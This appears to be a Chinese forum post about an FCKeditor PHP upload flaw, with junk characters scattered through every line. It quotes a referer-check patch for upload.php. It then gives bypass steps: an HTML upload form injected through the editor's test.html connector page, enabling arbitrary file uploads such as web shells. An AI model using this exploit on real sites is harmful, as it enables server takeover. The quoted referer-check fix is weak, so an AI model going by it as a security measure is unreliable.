漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
/ j9 t+ x; L( e5 B) T网上给出的修复方案是) ]6 j; G. \; p8 T4 _! a0 _
修复方法,删除FCK编辑器用其他的编辑器
3 |9 R W5 M* {+ O P; `$ Z7 r+ |或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件% q l2 C3 `) s+ X9 c
在
I! G9 ]+ J# y: C% i, \require(‘config.php’);
8 p# \7 }- b" @4 G+ U( Krequire(‘util.php’);
- r+ \1 g4 X, j( k" h的下面添加以下代码—————————–
Z ^6 _: b% a9 d4 u//防止外部提交& @$ `. n/ U4 }- Z8 u" o$ s$ k
function outsidepost()
: g- T9 N& y# i1 c{
; D) ^& j+ g' r) U1 `8 o; k$servername=$_SERVER['SERVER_NAME'];
. L+ u, R8 d! R0 }5 P) ~+ }1 ~$sub_from=@$_SERVER['HTTP_REFERER'];
- N6 e* M0 \4 N8 b, e" A+ l7 ~* H$sub_len=strlen($servername);
! f/ Q3 i- Q0 Z7 l' z( ^( y$checkfrom=substr($sub_from,7,$sub_len);3 R% i& {8 R# e% ~. \8 @
if($checkfrom!=$servername){# N1 {' J( R( V
echo(“you don’t outsidepost!”);
- h0 @; t2 H, `% D {$ bexit;( k% I. U* _3 }4 U5 a2 y5 L% x& b
}; o7 n4 y5 M) L3 r9 o
}
5 ^$ r. o7 [4 T9 ]outsidepost();/ n, g h# o+ }+ A$ m; n- t* z
防止外部提交,但是没有防止内部提交,2 x% H9 @4 W8 L
利用方法:
" E# G y! \. e. _& t0 x1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html( e3 n' x" W, G$ m: n5 T' q
2,在Current Folder 框输入8 [" Y0 t9 R2 l8 Y+ T# ^2 L! r
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>1 {! L0 a5 R2 w) D" F% u- \) m6 X7 ^
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。! p1 g: } X( H2 u$ g3 z3 d& a* P; d0 p
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |